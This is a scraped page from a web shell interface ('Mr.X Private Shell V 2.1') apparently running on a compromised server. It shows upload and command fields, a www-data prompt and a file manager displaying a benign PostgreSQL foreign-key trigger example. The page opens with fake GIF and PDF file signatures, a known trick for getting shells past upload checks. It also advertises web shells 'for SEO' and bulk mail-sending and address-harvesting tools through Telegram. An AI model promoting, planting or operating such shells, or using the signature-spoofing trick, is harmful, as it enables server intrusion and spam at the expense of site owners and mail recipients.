GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
--Column ID of table A is primary key:

CREATE TABLE A (
	ID	int4 not null
);
CREATE UNIQUE INDEX AI ON A (ID);

--Columns REFB of table B and REFC of C are foreign keys referencing ID of A:

CREATE TABLE B (
	REFB	int4
);
CREATE INDEX BI ON B (REFB);

CREATE TABLE C (
	REFC	int4
);
CREATE INDEX CI ON C (REFC);

--Trigger for table A:

CREATE TRIGGER AT BEFORE DELETE OR UPDATE ON A FOR EACH ROW
EXECUTE PROCEDURE
check_foreign_key (2, 'cascade', 'ID', 'B', 'REFB', 'C', 'REFC');
/*
2	- means that check must be performed for foreign keys of 2 tables.
cascade	- defines that corresponding keys must be deleted.
ID	- name of primary key column in triggered table (A). You may
	  use as many columns as you need.
B	- name of (first) table with foreign keys.
REFB	- name of foreign key column in this table. You may use as many
	  columns as you need, but number of key columns in referenced
	  table (A) must be the same.
C	- name of second table with foreign keys.
REFC	- name of foreign key column in this table.
*/

--Trigger for table B:

CREATE TRIGGER BT BEFORE INSERT OR UPDATE ON B FOR EACH ROW
EXECUTE PROCEDURE
check_primary_key ('REFB', 'A', 'ID');

/*
REFB	- name of foreign key column in triggered (B) table. You may use as
	  many columns as you need, but number of key columns in referenced
	  table must be the same.
A	- referenced table name.
ID	- name of primary key column in referenced table.
*/

--Trigger for table C:

CREATE TRIGGER CT BEFORE INSERT OR UPDATE ON C FOR EACH ROW
EXECUTE PROCEDURE
check_primary_key ('REFC', 'A', 'ID');

-- Now try

INSERT INTO A VALUES (10);
INSERT INTO A VALUES (20);
INSERT INTO A VALUES (30);
INSERT INTO A VALUES (40);
INSERT INTO A VALUES (50);

INSERT INTO B VALUES (1);	-- invalid reference
INSERT INTO B VALUES (10);
INSERT INTO B VALUES (30);
INSERT INTO B VALUES (30);

INSERT INTO C VALUES (11);	-- invalid reference
INSERT INTO C VALUES (20);
INSERT INTO C VALUES (20);
INSERT INTO C VALUES (30);

DELETE FROM A WHERE ID = 10;
DELETE FROM A WHERE ID = 20;
DELETE FROM A WHERE ID = 30;

SELECT * FROM A;
SELECT * FROM B;
SELECT * FROM C;

Filemanager

Name Type Size Permission Actions
autoinc.example File 798 B 0644
insert_username.example File 560 B 0644
moddatetime.example File 493 B 0644
refint.example File 2.06 KB 0644